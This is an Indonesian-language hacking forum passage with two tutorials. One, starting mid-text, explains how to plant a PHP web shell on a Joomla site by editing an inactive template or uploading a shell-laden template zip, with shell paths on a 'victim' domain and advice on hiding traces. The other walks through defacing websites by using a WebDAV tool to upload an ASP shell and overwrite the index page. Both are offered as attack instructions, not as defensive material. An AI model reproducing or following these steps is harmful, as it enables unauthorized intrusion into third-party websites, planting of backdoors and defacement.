*kalo ane : biasanya ane balikin lg template admin td ke semula, yg ga ada uploadernya. ane remove lg script uploadernya. biar ga ketauan.
:)

CARA 3
masi dlm masalah edit mengedit template. kali ini kita pake cara edit template yg laen.
kita ke extension > template manager. kali ini kita edit template site nya. tp bukan yg sedang dipakai. (klo yg template admin td kan nyari template yg lg aktif)
skrng kita pilih template site yg sedang tidak aktif. (tanda kalo template itu aktif, ada tanda bintangnya)
klik aja nama template yg ga aktif. misal: beez
trus pilih edit html. klo udah muncul editornya, langsung dah kita replace dengan script shell kita

Spoiler: hide

klo udah silakan disave. nah.. skrng kita coba menuju shell kita.
letak posisi shell uda ane jelasin di gambar diatas. yaitu : http://korban.com/templates/beez/index.php

Spoiler: hide

:)

CARA 4
lagi lagi pake template.
kali ini kita coba upload template baru yg udah kita sisipin shell.
cari aja sembarang template joomla, sesuaiin kompatibilitasnya dg versi joomlanya.
contoh : ane download template siteground. klo udah, ekstrak aja templatenya. trus masukin shell kita. terserah mo ditaro dimana
misal: di dlm folder images/namashell.php

Spoiler: hide

klo udah kita archive lg templatenya. bentuknya *.zip ya..
klo udah oke, kita upload ke korban.
masuk ke extension> install/uninstall trus upload dah, template "evil" kita td :p
setelah sukses upload. skrng kita cek, dimana lokasi shell kita. masuk ke template manager. trus klik nama template yg baru saja kita tambahin.
ane td install template siteground. liat bagian kanan, ada parameters.

Spoiler: hide

Quote:The parameter file /templates/siteground-j15-196/params.ini is writable!

bagian merah, itu lokasi shell kita. tinggal kita sesuaiin dimana kita naro shellnya td. klo ane td masukin di folder images.
jd lokasi shellnya ada di http://korban.com/templates/siteground-j...ashell.php

Spoiler: hide

:)

hmmhh.. baru segitu cara ane,
mari diskusi disini, cara cara yg laennya. yang punya trik laen (kalo mau sih) share juga dimari.
soalnya pernah juga nemu site yg kgak bisa pake ke empat cara diatas.

okedeh, sekian tutorial cupu bin jadul. dr ane.

Read More »

1 Cara Deface Dengan Tools Webdav

ane mau ngasih tau cara pepes index with webdav
to the point aja yaak

sebelumnya maaf Threadnya blepotan masih newbie maen forum

* Yang pertama, download dulu Webdavnya Dimari

* kalo udah selesai extract rar (saya sarankan extract ke desktop biar gampang)

* jika sudah di extract klik rootkit.exe

*Kalau udah kebuka, pilih tab webdav

Spoiler: hide

*klik webdav lalu akan muncul seperti ini, kemudian pilih Asp shell maker dengan cara di klik.

Spoiler: hide

*nanti keluar gambar begini gan :D

Spoiler: hide

*Shell di setting jangan diganti gan ! biarkan seperti itu, lalu klik add site trus masukan web target anda :D

Spoiler: hide

* langkah selanjutnya yaitu klik Serang dan berdoa semoga situs yang kita serang adalah situs yg vuln.

Spoiler: hide

*kalo muncul seperti gambar diatas vuln kalo tidak berarti tidak vuln.. langkah berikutnya kunjungi websitenya nanti keluar tampilan sebagai berikutt

Spoiler: hide

*cari tulisan index.html atau index.asp dan lain2 lalu klik icon pensil yg ada di webnya gambari dibawah

Spoiler: hide

*nanti keluar gambar seperti ini..

Spoiler: hide

*langkah selanjutnya tinggal mengganti tulisan yang ada di kotak biru dengan shell agan :D lalu klik 'kaydet' jangan seneng dulu setelah klik kaydet ada bacaan di pojok kiri ? seperti ini File Edited Successful:)itu berhasil !

lalu tinggal lihat deh index yang kita pepes Taraaaa

Spoiler: hide

BABAAAAY minta sama nya gan

Read More »